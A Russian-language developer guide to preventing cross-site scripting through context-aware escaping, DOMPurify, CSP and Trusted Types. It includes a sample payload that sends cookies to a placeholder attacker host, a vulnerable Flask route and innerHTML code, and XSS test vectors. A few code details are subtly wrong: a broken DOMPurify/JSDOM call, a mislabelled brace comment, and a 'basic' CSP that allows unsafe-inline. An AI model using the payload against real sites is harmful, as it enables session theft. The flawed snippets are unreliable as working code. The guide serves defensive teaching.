Защита веб-приложений от XSS: руководство для фронтенд- и бэкенд-разработчиков

Последствия: Получение учетных данных миллиона пользователей. Причина: Одна неотфильтрованная строка в шаблоне. Решение: Владеть защитой на всех уровнях стека. Рассмотрим XSS (Cross-Site Scripting) как системную проблему, а не "задачу фронтенда".

Почему XSS сохраняется как угроза №1 в OWASP Top 10

XSS не исчез потому что:

  • Шаблоны остаются дырявыми (генерируя HTML без контекстного экранирования)
  • Сложные SPA распыляют ответственность за санацию данных
  • Низкоуровневые API (innerHTML, document.write) доступны без предупреждений
  • Разработчики перекладывают ответственность "на другой слой"

Пример классической атаки хранимого XSS:

javascript
// Злонамеренный комментарий, попадающий в базу данных
const payload = `<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`;

После рендеринга на странице с другими комментариями код выполнится в жертвы, отправляя куки.

Трехмерная карта уязвимостей

Отраженные XSS (Non-persistent)
Полезная нагрузка в URL или параметрах формы мгновенно возвращается в ответе без обработки.
Пример уязвимости бэкенда:

python
# Опасный Flask-роут
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f"<h1>Результаты для: {query}</h1>"

Хранимые XSS (Persistent)
Зловредный код сохраняется в БД и воспроизводится при каждом посещении страницы.

DOM-based XSS
Фронтенд формирует опасный HTML через.innerHTML/innerHTML или модифицирует src/href динамически:

javascript
// Уязвимый код
const params = new URLSearchParams(window.location.search);
document.getElementById('greeting').innerHTML = params.get('name');
// Достаточно ?name=<img src=x onerror=alert(1)>

Контекстно-зависимая фильтрация: не все экранирование одинаково

Ошибка: считать escapeHtml() универсальным решением. Проблема: символы требуют разной обработки в зависимости от контекста вставки.

КонтекстОпасные символыЗащита
HTML-тело< > &&lt;, &gt;, &amp;
Атрибуты" 'HTML-сущности или экранирующие кавычки
JavaScript; } // \ ' " >JSON.stringify + Unicode-экранирование
CSS; {} :Строгие проверки шаблонов
URLjavascript: data:Валидация схемы, URL-кодирование

React демонстрирует идею контекстной автосанации:

jsx
{/* Безопасно: React экранирует текст по умолчанию */}
<div>{userInput}</div> 

{/* Опасность: ручной вставкой HTML можно нарушить защиту */}
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Техники защиты на практике

Бэкенд: прежде всего контекст

Используйте шаблонизаторы с автоматическим экранированием (Jinja2, Handlebars, EJS). Проверяйте их политики:

handlebars
<!-- Handlebars: экранирование по умолчанию -->
{{ userInput }} 

<!-- Двойные фигурные скобки НЕ экранируют HTML -->
{{{ trustedHtml }}}

Для валидации используйте библиотеки типа DOMPurify даже на сервере:

javascript
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const clean = DOMPurify(new window.JSDOM('').window).sanitize(dirtyHtml);

Фронтенд: безопасные паттерны вместо innerHTML

Замените опасные API:

javascript
// Вместо этого:
element.innerHTML = userContent;

// Используйте:
element.textContent = userContent; // Для текста
element.setAttribute('data-foo', sanitizedValue); // Для атрибутов

// Или динамическое создание узлов:
const safeDiv = document.createElement('div');
safeDiv.appendChild(document.createTextNode(userContent));

Для сложных сценариев внедрите полноценную санацию:

javascript
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['a', 'p'],
  ALLOWED_ATTR: ['href', 'title'],
  FORBID_ATTR: ['style', 'onclick']
});

Content Security Policy (CSP): последний рубеж

CSP опосредует источники скриптов, стилей и других ресурсов. Базовая политика:

text
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'unsafe-inline' 'unsafe-eval';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';

Усильте защиту:

  1. Откажитесь от 'unsafe-inline' используя хеши или nonces
html
<script nonce="r4nd0m" src="/app.js"></script>

Политика: script-src 'self' 'nonce-r4nd0m'

  1. Реализуйте Trusted Types в браузере:
javascript
// Принудительное использование через CSP:
// require-trusted-types-for 'script'

// Создайте политику валидации
const policy = trustedTypes.createPolicy('escapePolicy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

// Теперь назначаете HTML только через политику:
element.innerHTML = policy.createHTML(userInput);

Интегрированные средства защиты

Дополнительные слои:

  • Установите HttpOnly для сессионного куки:
    Set-Cookie: sessionId=123; HttpOnly; Secure; SameSite=Lax
  • Хедеры X-XSS-Protection: 0 (устарело, но отключает фильтр XSS в IE/Edge)
  • X-Content-Type-Options: nosniff предотвращает MIME-sniffing

Автоматизированные проверки:

bash
# Сканеры безопасности 
npm run security -- - OWASP-ZAP
npx eslint-plugin-security

Моделирование возможных атак: встать на сторону злоумышленника

Тестируйте свои защиты через:

  • Fuzzing через инструменты типа OWASP ZAP
  • Ручной прогон тестовых векторов:
    <svg/onload=alert(1)>, javascript:eval('al'+'ert(1)')
  • Регулярные вызовы eval(alert) в коде (простая проверка CSP)

Проектирование защищенных систем: чем больше масштаб, тем глубже внедрение

  1. Компонентная модель: Инкапсулируйте проверки в базовые UI-компоненты
  2. Уровень данных: Обязать санацию перед сохранением примените схемы валидации (JSON Schema, Zod)
  3. Сервисный слой: Введите SecurityService с scrubbing-функциями для вывода
  4. CI/CD: Сделайте security gates обязательными (npm audit, sast-scan)
  5. Обучение: Создание платформы внутреннего хакерства

Выводы: защита как единая обязанность

Итог: XSS нейтрализуется не серебряной пулей, а совместной работой:

  • Бэкенд не доверяет данным даже после "очистки"
  • Фронтенд избегает опасных API паттернов
  • DevSecOps обеспечивает инфраструктурные гарантии (CSP, куки)
  • QA включает XSS-векторы в тест-кейсы

Инструменты только помогают — настоящая защита начинается когда разработчики глубоко понимают где рождаются атаки. Начинайте проектировать со знания что десять лет устаревшей библиотеки JQuery в зависимостях — это не технический долг, а открытое окно в ваши production-данные.

Знаете паттерн? Ново внедренный WYSIWYG-редактор оперативно породил хранимый XSS. Причина: вы все санировали входные данные, но забыли, что редактор генерирует HTML. Убийственные тэги прошли через всю систему потому что "он же из доверенного источника". Помните: все ненадежно по умолчанию — даже то что вы создаете вручную.